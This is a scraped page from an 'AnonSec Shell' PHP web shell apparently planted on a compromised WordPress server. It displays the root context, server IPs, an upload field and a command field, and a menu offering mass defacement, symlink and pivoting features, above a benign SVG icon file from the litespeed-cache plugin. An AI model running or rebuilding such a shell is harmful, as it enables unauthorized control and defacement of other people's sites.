AnonSec Shell
Server IP : 104.21.14.48  /  Your IP : 3.141.202.70   [ Reverse IP ]
Web Server : Apache
System : Linux b70eb322-3aee-0c53-7c82-0db91281f2c6.secureserver.net 6.1.90-1.el9.elrepo.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 2 12:09:22 EDT 2024 x86_64
User : root ( 0)
PHP Version : 8.0.30.2
Disable Function : NONE
Domains : 0 Domains
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/wp-content/plugins/litespeed-cache/assets/img/icons/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/wp-content/plugins/litespeed-cache/assets/img/icons/purge-object.svg
<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 width="75px" height="75px" viewBox="0 0 75 75" enable-background="new 0 0 75 75" xml:space="preserve">
<g>
	<path fill="#6699CC" d="M56.841,27.021h-2.944l3.079-8.461c0.108-0.299,0.047-0.634-0.162-0.874l-7.001-8.046
		c-0.019-0.021-0.042-0.036-0.063-0.055c-0.033-0.032-0.065-0.065-0.104-0.091c-0.017-0.011-0.035-0.018-0.053-0.029
		c-0.049-0.028-0.098-0.056-0.15-0.075c-0.01-0.003-0.02-0.004-0.029-0.007c-0.062-0.02-0.124-0.035-0.189-0.04
		c-0.02-0.002-0.04,0.002-0.06,0.001c-0.05,0-0.1-0.003-0.149,0.005L38.48,11.014c-0.314,0.05-0.577,0.266-0.686,0.565
		l-3.846,10.563c-0.027,0.075-0.043,0.152-0.049,0.229c0,0.003,0,0.006,0,0.01c-0.005,0.073-0.001,0.146,0.012,0.217
		c0.003,0.017,0.011,0.032,0.015,0.048c0.014,0.058,0.03,0.114,0.056,0.168c0.01,0.021,0.025,0.038,0.036,0.058
		c0.024,0.042,0.045,0.084,0.076,0.123c0.003,0.003,0.008,0.005,0.011,0.008c0.003,0.004,0.005,0.01,0.009,0.014l3.515,4.003h-0.583
		l-3.372-3.876c-0.021-0.025-0.049-0.042-0.073-0.064c-0.03-0.027-0.057-0.057-0.09-0.08c-0.028-0.02-0.06-0.032-0.089-0.048
		c-0.037-0.02-0.072-0.041-0.11-0.055c-0.027-0.01-0.056-0.013-0.084-0.02c-0.045-0.012-0.089-0.024-0.136-0.029
		c-0.029-0.002-0.06,0.002-0.089,0.002c-0.042,0.001-0.083-0.003-0.125,0.004L22.34,24.521c-0.314,0.05-0.577,0.266-0.686,0.565
		l-0.705,1.936h-2.79c-1.549,0-2.809,1.26-2.809,2.809c0,0.034,0.002,0.068,0.006,0.103l4.831,40.993
		c0.03,1.523,1.278,2.753,2.808,2.753h29.007c1.53,0,2.778-1.229,2.808-2.753l4.833-40.993c0.004-0.034,0.006-0.068,0.006-0.103
		C59.649,28.281,58.39,27.021,56.841,27.021z M52.035,27.021h-0.145l-5.603-6.378l2.925-8.036l0.254-0.698l5.688,6.537
		L52.035,27.021z M39.262,12.662l8.561-1.351l-0.254,0.698l-2.925,8.036l-8.545,1.309L39.262,12.662z M36.483,23.064l8.464-1.296
		l1.982,2.257l2.631,2.996h-9.604L36.483,23.064z M33.264,25.588l0.063-0.174l1.398,1.607h-1.983L33.264,25.588z M23.123,26.168
		l8.56-1.353l-0.544,1.494l-0.259,0.712h-8.067L23.123,26.168z M53.067,70.768c-0.004,0.034-0.006,0.068-0.006,0.103
		c0,0.584-0.475,1.059-1.059,1.059H22.996c-0.583,0-1.059-0.475-1.059-1.059c0-0.034-0.002-0.068-0.006-0.103l-4.829-40.981
		c0.023-0.563,0.489-1.015,1.058-1.015h3.402h9.93h5.154h2.914h11.934h1.153h4.193c0.569,0,1.034,0.451,1.058,1.015L53.067,70.768z"
		/>
	<path fill="#6699CC" d="M28.884,63.444c-0.48,0.054-0.826,0.486-0.772,0.967l0.326,2.908c0.05,0.447,0.429,0.777,0.869,0.777
		c0.032,0,0.065-0.002,0.099-0.006c0.48-0.054,0.826-0.486,0.772-0.967l-0.326-2.908C29.797,63.735,29.364,63.382,28.884,63.444z"/>
	<path fill="#6699CC" d="M26.532,42.486c0.48-0.054,0.826-0.486,0.772-0.967l-0.759-6.771c-0.054-0.479-0.479-0.819-0.967-0.772
		c-0.48,0.054-0.826,0.487-0.772,0.967l0.759,6.771c0.05,0.447,0.429,0.777,0.869,0.777C26.466,42.492,26.499,42.49,26.532,42.486z"
		/>
	<path fill="#6699CC" d="M46.116,63.446c-0.485-0.057-0.914,0.291-0.967,0.771l-0.326,2.906c-0.055,0.48,0.291,0.913,0.771,0.967
		c0.033,0.004,0.066,0.006,0.099,0.006c0.439,0,0.818-0.33,0.868-0.777l0.326-2.906C46.942,63.933,46.597,63.5,46.116,63.446z"/>
	<path fill="#6699CC" d="M49.421,33.976c-0.488-0.052-0.913,0.292-0.967,0.772l-0.732,6.525c-0.055,0.48,0.291,0.913,0.771,0.967
		c0.033,0.004,0.066,0.006,0.099,0.006c0.439,0,0.818-0.33,0.868-0.777l0.732-6.525C50.247,34.463,49.901,34.03,49.421,33.976z"/>
	<path fill="#6699CC" d="M37.306,64.894c-0.483,0-0.875,0.392-0.875,0.875v1.453c0,0.483,0.392,0.875,0.875,0.875
		s0.875-0.392,0.875-0.875v-1.453C38.181,65.285,37.789,64.894,37.306,64.894z"/>
	<path fill="#6699CC" d="M37.306,37.75c0.483,0,0.875-0.392,0.875-0.875v-2.029c0-0.483-0.392-0.875-0.875-0.875
		s-0.875,0.392-0.875,0.875v2.029C36.431,37.358,36.822,37.75,37.306,37.75z"/>
	<path fill="#6699CC" d="M37.5,40.496c-6.108,0-11.078,4.97-11.078,11.079c0,6.108,4.97,11.078,11.078,11.078
		c6.109,0,11.079-4.97,11.079-11.078C48.578,45.466,43.608,40.496,37.5,40.496z M37.5,60.903c-5.144,0-9.328-4.185-9.328-9.328
		c0-5.145,4.185-9.329,9.328-9.329c5.144,0,9.329,4.185,9.329,9.329C46.828,56.719,42.644,60.903,37.5,60.903z"/>
	<path fill="#6699CC" d="M42.904,46.171c-0.342-0.342-0.896-0.342-1.238,0L37.5,50.336l-4.166-4.165
		c-0.342-0.342-0.896-0.342-1.237,0s-0.342,0.896,0,1.238l4.165,4.165l-4.165,4.165c-0.342,0.342-0.342,0.896,0,1.238
		c0.171,0.171,0.395,0.256,0.619,0.256s0.448-0.085,0.619-0.256l4.166-4.165l4.166,4.165c0.171,0.171,0.396,0.256,0.619,0.256
		s0.448-0.085,0.619-0.256c0.341-0.342,0.341-0.896,0-1.238l-4.165-4.165l4.165-4.165C43.245,47.067,43.245,46.513,42.904,46.171z"
		/>
	<path fill="#6699CC" d="M21.312,23.8c0.167,0.191,0.408,0.298,0.658,0.298c0.044,0,0.088-0.003,0.132-0.01l10.519-1.611
		c0.004,0,0.007-0.002,0.011-0.003c0.006-0.001,0.012-0.001,0.019-0.002c0.041-0.007,0.077-0.025,0.115-0.038
		c0.03-0.01,0.062-0.017,0.091-0.03c0.042-0.02,0.08-0.047,0.118-0.073c0.024-0.017,0.052-0.029,0.074-0.048
		c0.038-0.032,0.069-0.071,0.102-0.109c0.017-0.02,0.038-0.037,0.053-0.059c0.044-0.063,0.081-0.131,0.107-0.205l3.845-10.564
		c0.109-0.299,0.047-0.634-0.162-0.874L29.99,2.426c-0.023-0.026-0.052-0.045-0.077-0.068c-0.028-0.025-0.054-0.054-0.085-0.075
		c-0.034-0.023-0.071-0.039-0.108-0.058c-0.031-0.015-0.059-0.034-0.091-0.045c-0.036-0.013-0.073-0.018-0.11-0.026
		c-0.037-0.008-0.072-0.02-0.11-0.023c-0.035-0.003-0.071,0.001-0.106,0.003c-0.036,0.001-0.072-0.003-0.108,0.003L18.66,3.799
		c-0.314,0.05-0.577,0.266-0.686,0.565l-3.845,10.563c-0.027,0.075-0.043,0.153-0.049,0.23c0,0.005,0,0.009,0,0.014
		c-0.005,0.071-0.001,0.143,0.011,0.213c0.004,0.021,0.014,0.041,0.019,0.062c0.014,0.052,0.027,0.104,0.05,0.153
		c0.013,0.027,0.031,0.05,0.047,0.075c0.021,0.036,0.039,0.074,0.066,0.107c0.002,0.003,0.007,0.004,0.009,0.007
		c0.004,0.005,0.006,0.011,0.011,0.016L21.312,23.8z M22.311,22.285l-5.648-6.435l8.462-1.297l5.651,6.435L22.311,22.285z
		 M32.171,19.924l-2.026-2.306l-3.679-4.189l3.178-8.734l5.69,6.538L32.171,19.924z M19.442,5.447L28,4.096l-3.178,8.734
		l-8.543,1.309L19.442,5.447z"/>
</g>
</svg>

Anon7 - 2022
AnonSec Team